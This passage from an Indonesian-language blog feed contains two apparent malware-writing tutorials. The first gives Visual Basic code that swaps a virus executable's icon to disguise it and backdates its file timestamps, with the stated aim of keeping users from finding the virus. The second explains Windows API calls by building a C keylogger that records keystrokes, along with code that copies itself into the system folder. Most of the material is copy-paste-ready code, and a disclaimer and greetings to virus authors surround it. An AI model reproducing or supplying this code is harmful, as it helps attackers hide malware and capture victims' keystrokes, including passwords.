RESOURCE_DATA_ENTRY  ' IMAGE_RESOURCE_DATA_ENTRY structs&lt;br /&gt;   Dim IcoDir        As ICON_DIR             ' IconDirectory in EXE&lt;br /&gt;   Dim iLvl1         As Integer              ' Loop Counter (first level)&lt;br /&gt;   Dim iLvl2         As Integer              ' Loop Counter (second level)&lt;br /&gt;   Dim iLvl3         As Integer              ' Loop Counter (third level)&lt;br /&gt;   Dim intC          As Integer              ' Loop Counter (general)&lt;br /&gt;   Dim BytesRead     As Long                 ' Returned by Read/WriteFile API's&lt;br /&gt;   &lt;br /&gt;   If (hfile &gt;= 0) Then&lt;br /&gt;      ' Convert DIBOffset to an RVA (needed for RESOURCE_DATA_ENTRY structures)&lt;br /&gt;      DIBOffset = Offset_to_RVA(DIBOffset)&lt;br /&gt;      SetFilePointer hfile, ByVal ResTree, 0, 0&lt;br /&gt;      ReadFile hfile, Root, Len(Root), BytesRead, ByVal 0&amp;&lt;br /&gt;      ReDim L1Entries(Root.NamedEntries + Root.IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;      ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR&lt;br /&gt;      ' Loop through first-level child nodes and find RT_GROUP_ICON branch&lt;br /&gt;      For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)&lt;br /&gt;         SetFilePointer hfile, ResTree + 8 + (iLvl1 * 8), 0, 0&lt;br /&gt;         ReadFile hfile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;         If L1Entries(iLvl1).Name = &amp;HE Then&lt;br /&gt;            ' RT_GROUP_ICON branch found&lt;br /&gt;            CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;            Cursor = Cursor + ResTree&lt;br /&gt;            SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;            ' Read second-level directory&lt;br /&gt;            ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;            ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;            ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR&lt;br /&gt;            For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)&lt;br /&gt;               CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;               Cursor = Cursor + ResTree&lt;br /&gt;               SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0&lt;br /&gt;               ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;               CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;               Cursor = Cursor + ResTree&lt;br /&gt;               SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;               ' Read thrid-level directory&lt;br /&gt;               ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;               ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;               For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)&lt;br /&gt;                  ' Read third-level child nodes&lt;br /&gt;                  CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;                  Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)&lt;br /&gt;                  SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;                  ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;                  ' Jump to RESOURCE_DATA_ENTRY&lt;br /&gt;                  CopyMemory Cursor, L3Entries(iLvl3).Offset, 3&lt;br /&gt;                  Cursor = Cursor + ResTree&lt;br /&gt;                  SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;                  ReDim Preserve DataEntries(iLvl3) As RESOURCE_DATA_ENTRY&lt;br /&gt;                  ReadFile hfile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;                  ' Jump to and read ICON_DIR structure&lt;br /&gt;                  Cursor = RVA_to_Offset(DataEntries(iLvl3).Offset)&lt;br /&gt;                  SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;                  ReadFile hfile, IcoDir, 6, BytesRead, ByVal 0&amp;&lt;br /&gt;                  For intC = 1 To IcoDir.Count&lt;br /&gt;                     WriteFile hfile, DIBAttrib, Len(DIBAttrib) - 4, BytesRead, ByVal 0&amp;&lt;br /&gt;                     SetFilePointer hfile, 2, 0, 1&lt;br /&gt;                  Next intC&lt;br /&gt;               Next iLvl3&lt;br /&gt;            Next iLvl2&lt;br /&gt;         ElseIf L1Entries(iLvl1).Name = 3 Then&lt;br /&gt;            CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;            Cursor = Cursor + ResTree&lt;br /&gt;            SetFilePointer hfile, ByVal Cursor, 0, 0&lt;br /&gt;            ' Read second-level directory&lt;br /&gt;            ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;            ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;            ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR&lt;br /&gt;            For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)&lt;br /&gt;               CopyMemory Cursor, L1Entries(iLvl1).Offset, 3&lt;br /&gt;               Cursor = Cursor + ResTree&lt;br /&gt;               SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0&lt;br /&gt;               ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;               CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;               Cursor = Cursor + ResTree&lt;br /&gt;               SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;               ' Read thrid-level directory&lt;br /&gt;               ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&amp;&lt;br /&gt;               ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY&lt;br /&gt;               For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)&lt;br /&gt;                  ' Read third-level child nodes&lt;br /&gt;                  CopyMemory Cursor, L2Entries(iLvl2).Offset, 3&lt;br /&gt;                  Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)&lt;br /&gt;                  SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;                  ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&amp;&lt;br /&gt;                  ' Jump to and hack the RESOURCE_DATA_ENTRY&lt;br /&gt;                  Cursor = L3Entries(iLvl3).Offset + ResTree&lt;br /&gt;                  SetFilePointer hfile, Cursor, 0, 0&lt;br /&gt;                  WriteFile hfile, DIBOffset, 4, BytesRead, ByVal 0&amp;&lt;br /&gt;                  WriteFile hfile, CLng(DIBAttrib.dwBytesInRes + 40), 4, BytesRead, ByVal 0&amp;&lt;br /&gt;               Next iLvl3&lt;br /&gt;            Next iLvl2&lt;br /&gt;         End If&lt;br /&gt;      Next iLvl1&lt;br /&gt;   Else&lt;br /&gt;      HackDirectories = False&lt;br /&gt;      Exit Function&lt;br /&gt;   End If&lt;br /&gt;   &lt;br /&gt;   HackDirectories = True&lt;br /&gt;   Exit Function&lt;br /&gt;   &lt;br /&gt;ErrHandler:&lt;br /&gt;   &lt;br /&gt;End Function&lt;br /&gt;Private Function RVA_to_Offset(RVA As Long) As Long&lt;br /&gt;On Error GoTo ErrHandler:&lt;br /&gt;   Dim TempOffset    As Long           ' Difference of RVA and start of section&lt;br /&gt;   TempOffset = RVA - ResSectionRVA&lt;br /&gt;   If (TempOffset &gt;= 0) Then&lt;br /&gt;      ' Calculate the file offset of the RVA&lt;br /&gt;      RVA_to_Offset = ResSectionOffset + TempOffset&lt;br /&gt;   Else&lt;br /&gt;      RVA_to_Offset = -1&lt;br /&gt;   End If&lt;br /&gt;   Exit Function&lt;br /&gt;   &lt;br /&gt;ErrHandler:&lt;br /&gt;   &lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Function Offset_to_RVA(Offset As Long) As Long&lt;br /&gt;On Error GoTo ErrHandler:&lt;br /&gt;&lt;br /&gt;   Dim TempOffset    As Long          ' Difference of Offset and start of section&lt;br /&gt;   &lt;br /&gt;   ' Get distance between offset and start of resource section&lt;br /&gt;   TempOffset = Offset - ResSectionOffset&lt;br /&gt;   If TempOffset &gt;= 0 Then&lt;br /&gt;      ' Calculate RVA of the file offset&lt;br /&gt;      Offset_to_RVA = ResSectionRVA + TempOffset&lt;br /&gt;   Else&lt;br /&gt;      Offset_to_RVA = -1&lt;br /&gt;   End If&lt;br /&gt;   Exit Function&lt;br /&gt;   &lt;br /&gt;ErrHandler:&lt;br /&gt;  &lt;br /&gt;End Function&lt;br /&gt;------------------------------------Cut Here &amp; End Copy-Paste from Here------------------------------------&lt;br /&gt;&lt;br /&gt; Prosedur ReplaceIcon (1st. Module) akan mengganti Ikon Virus kita dengan file *.Ico tsb (Source = Path file ikon, &lt;br /&gt;Dest = Path file yang akan diganti ikonnya), Ada beberapa kelemahan dalam penggantian Ikon ini. Pertama, bila Virus &lt;br /&gt;dikompress atau di-Pack dengan settingan untuk menghilangkan atau hanya megkompress resource dari File maka &lt;br /&gt;penggantian Ikon ini tidak bisa berjalan mulus. Kedua, untuk beberapa file yang akan dikestrak kadang-kadang ikon &lt;br /&gt;tidak berukuran 16X16, bahkan tidak bisa diekstrak sama sekali.&lt;br /&gt;&lt;br /&gt;2. Penggantian Date dan Time File Virus&lt;br /&gt; Field apakah yang paling sering digunakan dalam fasilitas Search suatu file di Windows? Waktu akses/modif/buat dari file.&lt;br /&gt;Ambil contoh virus A.exe dibuat pada tanggal 1 Feb 2006, mulai menginfeksi komputer anda tanggal 2 Feb 2006. Maka yang harus&lt;br /&gt;anda lakukan dalam mencari file tsb dengan mengisikan field tanggal search dengan range 1 Feb 2006 sampai 2 Feb 2006. &lt;br /&gt;Apa yang harus dilakukan? Kita harus rubah tanggal akes/modif/buat dari file Virus kita agar tidak (atau setidaknya mempersulit)&lt;br /&gt;User mencarinya. Berikut Source Code yang kira-kira dapat menggambarkan teknik tersebut :&lt;br /&gt;&lt;br /&gt;(Referensi Source Code dari Internet, Author : marskarthik@angelfire.com)&lt;br /&gt;&lt;br /&gt;------------------------------------Cut Here &amp; Start Copy-Paste from Here------------------------------------&lt;br /&gt;Option Explicit&lt;br /&gt;&lt;br /&gt;Public Declare Function SetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long&lt;br /&gt;Public Declare Function GetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long&lt;br /&gt;Public Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long&lt;br /&gt;Public Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long&lt;br /&gt;Public Declare Function SystemTimeToFileTime Lib "kernel32" (lpSystemTime As SYSTEMTIME, lpFileTime As FILETIME) As Long&lt;br /&gt;Public Declare Function LocalFileTimeToFileTime Lib "kernel32" (lpLocalFileTime As FILETIME, lpFileTime As FILETIME) As Long&lt;br /&gt;Public Declare Function OpenFile Lib "kernel32" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long&lt;br /&gt;Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long&lt;br /&gt;&lt;br /&gt;Public Const OF_READ = &amp;H0&lt;br /&gt;Public Const OF_READWRITE = &amp;H2&lt;br /&gt;Public Const OF_REOPEN = &amp;H8000&lt;br /&gt;Public Const OF_SHARE_COMPAT = &amp;H0&lt;br /&gt;Public Const OF_SHARE_DENY_NONE = &amp;H40&lt;br /&gt;Public Const OF_SHARE_DENY_READ = &amp;H30&lt;br /&gt;Public Const OF_SHARE_DENY_WRITE = &amp;H20&lt;br /&gt;Public Const OF_SHARE_EXCLUSIVE = &amp;H10&lt;br /&gt;Public Const OF_VERIFY = &amp;H400&lt;br /&gt;Public Const OF_WRITE = &amp;H1&lt;br /&gt;Public Const OFS_MAXPATHNAME = 128&lt;br /&gt;&lt;br /&gt;Public Type OFSTRUCT&lt;br /&gt;    cBytes As Byte&lt;br /&gt;    fFixedDisk As Byte&lt;br /&gt;    nErrCode As Integer&lt;br /&gt;    Reserved1 As Integer&lt;br /&gt;    Reserved2 As Integer&lt;br /&gt;    szPathName(OFS_MAXPATHNAME) As Byte&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type FILETIME&lt;br /&gt;    dwLowDateTime As Long&lt;br /&gt;    dwHighDateTime As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type SYSTEMTIME&lt;br /&gt;    wYear As Integer&lt;br /&gt;    wMonth As Integer&lt;br /&gt;    wDayOfWeek As Integer&lt;br /&gt;    wDay As Integer&lt;br /&gt;    wHour As Integer&lt;br /&gt;    wMinute As Integer&lt;br /&gt;    wSecond As Integer&lt;br /&gt;    wMilliseconds As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Sub ubahtanggal(pathfil As String, hari As Long, bulan As Long, tahun As Long, Optional creat As Boolean, Optional modif As Boolean, Optional acces As Boolean)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim hfile As Long, rval As Long&lt;br /&gt;Dim buff As OFSTRUCT&lt;br /&gt;Dim ctime As FILETIME, latime As FILETIME, mtime As FILETIME&lt;br /&gt;Dim stime As SYSTEMTIME&lt;br /&gt;Dim fil As String&lt;br /&gt;&lt;br /&gt;If IsMissing(creat) Then creat = False&lt;br /&gt;If IsMissing(modif) Then modif = False&lt;br /&gt;If IsMissing(acces) Then acces = False&lt;br /&gt;&lt;br /&gt;hfile = OpenFile(pathfil, buff, OF_WRITE)&lt;br /&gt;If hfile Then&lt;br /&gt; rval = GetFileTime(hfile, ctime, latime, mtime)&lt;br /&gt; If creat Then&lt;br /&gt;  rval = FileTimeToLocalFileTime(ctime, ctime)&lt;br /&gt;  rval = FileTimeToSystemTime(ctime, stime)&lt;br /&gt;  &lt;br /&gt;  stime.wYear = tahun&lt;br /&gt;  stime.wMonth = bulan&lt;br /&gt;  stime.wDay = hari&lt;br /&gt;  stime.wHour = Hour(Time)&lt;br /&gt;  stime.wMinute = Minute(Time)&lt;br /&gt;  stime.wSecond = Second(Time)&lt;br /&gt;   &lt;br /&gt;  rval = SystemTimeToFileTime(stime, ctime)&lt;br /&gt;  rval = LocalFileTimeToFileTime(ctime, ctime)&lt;br /&gt; End If&lt;br /&gt; If modif Then&lt;br /&gt;  rval = FileTimeToLocalFileTime(mtime, mtime)&lt;br /&gt;  rval = FileTimeToSystemTime(mtime, stime)&lt;br /&gt;  &lt;br /&gt;  stime.wYear = tahun&lt;br /&gt;  stime.wMonth = bulan&lt;br /&gt;  stime.wDay = hari&lt;br /&gt;  stime.wHour = Hour(Time)&lt;br /&gt;  stime.wMinute = Minute(Time)&lt;br /&gt;  stime.wSecond = Second(Time)&lt;br /&gt;   &lt;br /&gt;  rval = SystemTimeToFileTime(stime, mtime)&lt;br /&gt;  rval = LocalFileTimeToFileTime(mtime, mtime)&lt;br /&gt; End If&lt;br /&gt; If acces Then&lt;br /&gt;  rval = FileTimeToLocalFileTime(latime, latime)&lt;br /&gt;  rval = FileTimeToSystemTime(latime, stime)&lt;br /&gt;  &lt;br /&gt;  stime.wYear = tahun&lt;br /&gt;  stime.wMonth = bulan&lt;br /&gt;  stime.wDay = hari&lt;br /&gt;  stime.wHour = Hour(Time)&lt;br /&gt;  stime.wMinute = Minute(Time)&lt;br /&gt;  stime.wSecond = Second(Time)&lt;br /&gt;   &lt;br /&gt;  rval = SystemTimeToFileTime(stime, latime)&lt;br /&gt;  rval = LocalFileTimeToFileTime(latime, latime)&lt;br /&gt; End If&lt;br /&gt; rval = SetFileTime(hfile, ctime, latime, mtime)&lt;br /&gt; End If&lt;br /&gt; rval = CloseHandle(hfile)&lt;br /&gt;End Sub&lt;br /&gt;------------------------------------Cut Here &amp; End Copy-Paste from Here------------------------------------&lt;br /&gt;&lt;br /&gt; Prosedur ubahtanggal akan merubah date dari file virus, dengan parameter hari, bulan dan tahun sesuai dengan&lt;br /&gt;yang kita inginkan. Parameter creat, modif dan acces menunjukkan date atau time mana yang akan diubah, Sebagai contoh&lt;br /&gt;bila acces bernilai True dan lainnya bernilai False maka hanya date dan time Acces saja yang akan diubah.&lt;br /&gt;&lt;br /&gt;$&gt; End...&lt;br /&gt; Karena keterbatasan tempat dan waktu maka saya hanya bisa membeberkan 2 teknik saja yang saya kira dapat digunakan&lt;br /&gt;untuk mempersulit User dalam mencari File Induk dari Virus. Saya ingin memohon maaf apabila ada kekurangan atau&lt;br /&gt;pernyataan yang menyinggung pembaca. &lt;br /&gt;&lt;br /&gt;$ Greetz...&lt;br /&gt;&gt;Myztx @ Myztx Soft. House, Hellspawn, Brontok Creator, Tomero, MyHeart Creator, Kantuk Creator, n The other Vx3rs.&lt;br /&gt;&gt;All member of Mail-list : EcHo, Jasakom, Yogyafree, ITCenter, Virologi, Balihack, Informatics_01, ProgrammerVB n the others.&lt;br /&gt;&gt;Spyro, Vaganci, Yanto, n All my Friends at IA01 [2005], IA07 [2004] @ GunaDarma University, Depok.&lt;br /&gt;&gt;marskarthik@angelfire.com, (Naveed) neenojee@hotmail.com.&lt;br /&gt;&gt;Sites : VbBego.com, Virologi.info, Vaksin.com, Planet-Source-Code.com n the others.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-3496866635903831941?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/3496866635903831941/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=3496866635903831941' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3496866635903831941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3496866635903831941'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/implementasi-teknik-stealth-pada-virus.html' title='Implementasi Teknik Stealth Pada Virus'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-8315937572528613666</id><published>2007-06-28T22:56:00.001+07:00</published><updated>2007-06-28T22:56:34.248+07:00</updated><title type='text'>Fungsi windows API</title><content type='html'>- 26-9-06 -&lt;br /&gt;.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.&lt;br /&gt;Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh &lt;br /&gt;penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan&lt;br /&gt;materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak&lt;br /&gt;kepada pihak-pihak yang ingin merugikan orang lain.  &lt;br /&gt;.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.&lt;br /&gt;&lt;br /&gt;Intro&lt;br /&gt;$&gt;API atau Application Programming Interface merupakan fungsi-fungsi Eksternal&lt;br /&gt;yang terdapat dalam file-file perpustakaan Windows (Library Windows) atau file&lt;br /&gt;library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini &lt;br /&gt;terdapat di Folder system Windows (C:\Windows\System32). Penggunaannya dalam&lt;br /&gt;sebuah aplikasi haruslah dideklarasikan terlebih dahulu di Source Code aplikasi.&lt;br /&gt;&lt;br /&gt;Tujuan Penggunaan&lt;br /&gt;$&gt;Kadang kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan keyboard?"&lt;br /&gt;atau "Gimana sih aplikasi kita bisa nyari folder system windust(Baca:Windows) secara &lt;br /&gt;otomatis tanpa kita kasi tahu pathnya terlebih dahulu?", jawabannya adalah dengan &lt;br /&gt;menggunakan fungsi-fungsi API yang ada. Dibuat dari bahasa apakah Fungsi API itu? &lt;br /&gt;Pada permulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannya sangatlah luas oleh&lt;br /&gt;bhs program lain (VB, DELPHI, Dll) yang tentunya memerlukan suatu konversi terhadap&lt;br /&gt;pendeklarasiannya.&lt;br /&gt;&lt;br /&gt;Tools atau Softwarez dan Skill yang diperlukan&lt;br /&gt;$&gt;Setidaknya anda telah belajar menggunakan ataupun membuat suatu aplikasi dengan &lt;br /&gt;VB (Visual Basic) atau DELPHI ataupun C/C++.&lt;br /&gt;$&gt;Softwarez : M$ Visual Basic 5.0/6.0 atau DELPHI&lt;br /&gt;              M$ Visual C++ 6.0 atau compiler C/C++ yang lain&lt;br /&gt;$&gt;Tools : API Text Viewer&lt;br /&gt;&lt;br /&gt;Tutorial&lt;br /&gt;$&gt;Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi yang mencatat &lt;br /&gt;Ketikan keyboard lalu menyimpannya ke File .log) dengan bhs C. Fungsi API yang akan&lt;br /&gt;digunakan adalah :&lt;br /&gt;&lt;br /&gt; - GetSystemDirectory(LPSTR lpBuffer,Uint uSize)&lt;br /&gt;   Adalah Fungsi API yang akan mencari Folder/Direktori System Windust&lt;br /&gt;    Dimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] dan&lt;br /&gt;   Uint uSize adalah variabel dengan tipe data Integer dengan nilai&lt;br /&gt;   sizeof(lpBuffer). Nilai balik fungsi ini akan memberikan nilai sesuai dengan&lt;br /&gt;   panjang Direktori system tsb. Contoh :&lt;br /&gt;  int i;char j[256];&lt;br /&gt;  i = GetSystemDirectory(j,sizeof(j));&lt;br /&gt;  misal j bermuatan = "F:\Windows\System32"&lt;br /&gt;   maka i == sizeof(j) == 19&lt;br /&gt;&lt;br /&gt; - GetAsyncKeyState(Uint var)&lt;br /&gt;   Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilai kode ascii&lt;br /&gt;          yang benar/valid. Contoh :&lt;br /&gt;  if(GetAsyncKeyState(i)==-32767)&lt;br /&gt;  printf("OK");&lt;br /&gt;  maka bila kita ketik apa saja di keyboard maka akan mencetak "OK" di layar.&lt;br /&gt;&lt;br /&gt; - GetKeyState(Uint var)&lt;br /&gt;   Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akan mengembalikan&lt;br /&gt;   nilai 1 bila var bernilai benar/valid. Fungsi ini akan mengecek kondisi dari abjad&lt;br /&gt;   yang diketikkan apakah huruf KAPITAL (VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak. &lt;br /&gt;   Contoh :&lt;br /&gt;  if(GetKeyState(VK_CAPITAL))&lt;br /&gt;  printf("KAPITAL");&lt;br /&gt;  maka bila kita menekan tombol CAPSLOCK maka akan mencetak "KAPITAL" di layar.&lt;br /&gt;&lt;br /&gt;$&gt;Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs C/C++ kita dapat langsung &lt;br /&gt;  menggunakannya tanpa perlu dideklarasikan terlbih dahulu. Sedangkan untuk Visual Basic atau DELPHI&lt;br /&gt;  harus dideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :&lt;br /&gt;  &lt;br /&gt;  (General)&lt;br /&gt;  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer&lt;br /&gt;&lt;br /&gt;  Sebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebut menggunakan library "user32" dan &lt;br /&gt;  nilai baliknya adalah tipr data Integer.&lt;br /&gt;&lt;br /&gt;$&gt;Sedangkan implementasinya pada program keylogger kita adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;$&gt;Penggunaan GetAsyncKeyState() :&lt;br /&gt;----------------potong di sini-------------------&lt;br /&gt;&lt;br /&gt;while(1) //Perulangan tak hingga (Infinite Loop)&lt;br /&gt;{&lt;br /&gt; for(j=8;j&lt;=255;j++) //perulangan sesuai dengan ASCII (dimulai dari ASCII 8)&lt;br /&gt; {&lt;br /&gt;  if (GetAsyncKeyState(j)==-32767) //Fungsi API, nilai balik = -32767 bila ASCII valid&lt;br /&gt;  {&lt;br /&gt;   if (j==8) //dimana j adalah var int&lt;br /&gt;   catat("[del]"); //masukkan ke fungsi catat() &lt;br /&gt;   if (j==13)&lt;br /&gt;   catat("[enter]");&lt;br /&gt;   if (j==32)&lt;br /&gt;   catat("[space]");&lt;br /&gt;   if(j==VK_CAPITAL)&lt;br /&gt;   catat("[CapitalLetters]");&lt;br /&gt;   if (j==VK_TAB)&lt;br /&gt;   catat("[TAB]");&lt;br /&gt;   if (j ==VK_SHIFT)&lt;br /&gt;   catat("[SHIFT]");&lt;br /&gt;   if (j ==VK_CONTROL)&lt;br /&gt;   catat("[CTRL]");&lt;br /&gt;   if (j ==VK_PAUSE)&lt;br /&gt;   catat("[PAUSE]");&lt;br /&gt;   if (j ==VK_KANA)&lt;br /&gt;   catat("[Kana]");&lt;br /&gt;   if (j ==VK_ESCAPE)&lt;br /&gt;   catat("[ESC]");&lt;br /&gt;   if (j ==VK_END)&lt;br /&gt;   catat("[END]");&lt;br /&gt;   if (j ==VK_HOME)&lt;br /&gt;   catat("[HOME]");&lt;br /&gt;   if (j ==VK_LEFT)&lt;br /&gt;   catat("[LEFT]");&lt;br /&gt;   if (j ==VK_UP)&lt;br /&gt;   catat("[UP]");&lt;br /&gt;   if (j ==VK_RIGHT)&lt;br /&gt;   catat("[RIGHT]");&lt;br /&gt;   if (j ==VK_DOWN)&lt;br /&gt;   catat("[DOWN]");&lt;br /&gt;   if (j ==VK_SNAPSHOT)&lt;br /&gt;   catat("[PRINT]");&lt;br /&gt;   if (j ==VK_NUMLOCK)&lt;br /&gt;   catat("[NUM LOCK]");&lt;br /&gt;   if (j ==190 || j==110)&lt;br /&gt;   catat("."); &lt;br /&gt;   if (j &gt;=96 &amp;&amp; j &lt;= 105) //periksa apakah yg ditekan adalah numerik key&lt;br /&gt;   {&lt;br /&gt;    j = j - 48;&lt;br /&gt;      teks[x]=j; //teks adalah char teks[5000]&lt;br /&gt;    x++; //var x digunakan untuk pengaturan string dalam array teks&lt;br /&gt;   }&lt;br /&gt;   if (j &gt;=48 &amp;&amp; j &lt;= 59) //periksa apakah yg ditekan adalah numerik key di numpad&lt;br /&gt;   {&lt;br /&gt;      teks[x]=j;&lt;br /&gt;    x++;&lt;br /&gt;   }&lt;br /&gt;   if (j !=VK_LBUTTON || j !=VK_RBUTTON)&lt;br /&gt;   {&lt;br /&gt;   if (j &gt;=65 &amp;&amp; j &lt;=90) //&lt;br /&gt;   { &lt;br /&gt;     if (GetKeyState(VK_CAPITAL)) //fungsi API GetKeyState()&lt;br /&gt;          catat(&amp;j);&lt;br /&gt;     else&lt;br /&gt;     {&lt;br /&gt;       j = j +32; //mencatat alfabet kecil (non-kapital)&lt;br /&gt;       teks[x]=j;&lt;br /&gt;     x++;&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;      &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int catat(char *tamp2) //fungsi untuk memasukkan string ke dalam array teks&lt;br /&gt;{&lt;br /&gt; sprintf(tamp,"%s",tamp2);&lt;br /&gt; strcat(teks,tamp);&lt;br /&gt; x=x+strlen(tamp);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;----------------potong di sini-------------------&lt;br /&gt;&lt;br /&gt;$&gt;Penggunaan GetSystemDirectory() :&lt;br /&gt;----------------potong di sini-------------------&lt;br /&gt;&lt;br /&gt;m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang dari path folder System Windust&lt;br /&gt;if(m!=0) //Cek apakah m tidak sama dengan 0&lt;br /&gt;strcat(dir,s); //memasukkan path dari folder system ke var char dir[256]&lt;br /&gt;y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE) //copy file kita ke folder windust, jika berhasil y akan bernilai TRUE&lt;br /&gt;&lt;br /&gt;----------------potong di sini-------------------&lt;br /&gt;&lt;br /&gt;$&gt;Potongan Source Code diatas belumlah optimal, dikarenakan masih menggunakan statement-statement yang&lt;br /&gt;  sama berulang kali. Lalu bagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsi API yang lain seperti keybd_event,&lt;br /&gt;  SetActiveWindow, LoadAccelerators dan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidak bisa menjabarkan&lt;br /&gt;  satu persatu, mungkin pada kesempatan yang lain. &lt;br /&gt;&lt;br /&gt;Thanks, &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referensi : Pemograman 